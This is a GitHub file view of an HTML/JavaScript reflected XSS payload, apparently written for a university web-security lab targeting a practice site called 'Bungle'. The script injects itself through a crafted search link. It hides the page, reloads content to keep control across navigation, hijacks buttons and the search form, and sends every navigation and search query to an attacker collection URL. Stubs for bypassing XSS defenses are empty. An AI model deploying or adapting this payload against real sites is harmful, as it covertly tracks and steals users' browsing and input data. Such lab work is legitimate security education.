-
Notifications
You must be signed in to change notification settings - Fork 0
/
xss_payload_jk.html
102 lines (82 loc) · 2.32 KB
/
xss_payload_jk.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
// Extend this function:
function payload(attacker) {
function log(data) {
console.log($.param(data))
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
$("html").show();
log({event: "nav", uri: href});
$("#query").val("pwned!");
$('#bungle-lnk').on("click", function(event) {
event.preventDefault();
proxy("http://permalink.co/");
alert("Bungle_button_alert");
});
$('#search-again-btn').on("click", function(event) {
event.preventDefault();
proxy("http://permalink.co/");
alert("Search_Again_button_alert");
});
$('form[action="./search"]').on("submit", function(event) {
usersSearch = document.getElementById('query').value;
event.preventDefault();
proxy("http://permalink.co/search?q=" + usersSearch);
alert("Search_form_alert");
});
});
}
$("html").hide();
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
if (xssdefense == 0) {
return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
} else if(xssdefense == 1){
// Implement code to defeat XSS defenses here.
}
else if(xssdefense == 2){
}
else if(xssdefense == 3){
}
else{ //xssdefense == 4
}
}
var xssdefense = 0;
var target = "http://permalink.co/";
var attacker = "http://127.0.0.1:31337/stolen";
$(function() {
var url = makeLink(xssdefense, target, attacker);
$("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});
</script>
<h3></h3>
<!--
//$('#search-btn').click(function(){ alert("xss"), log("data") });
//form on submit .pn is something else to look intout
// $('#search-btn').on("click", function(event) {
// event.preventDefault();
// proxy("./search");
// alert("xss");
// });
//push and pop states for back and forward buttons'
-->
<!--
// $('#search-btn').on("click", function(event) {
// event.preventDefault();
// proxy("./search");
// alert("Search_button_alert");
-->
<!--
//
// forms
// $("tagyourareseachingfor[action = "formName"]")
// $("form[action = "formName"]")
//
//'form[action="./search"]'
-->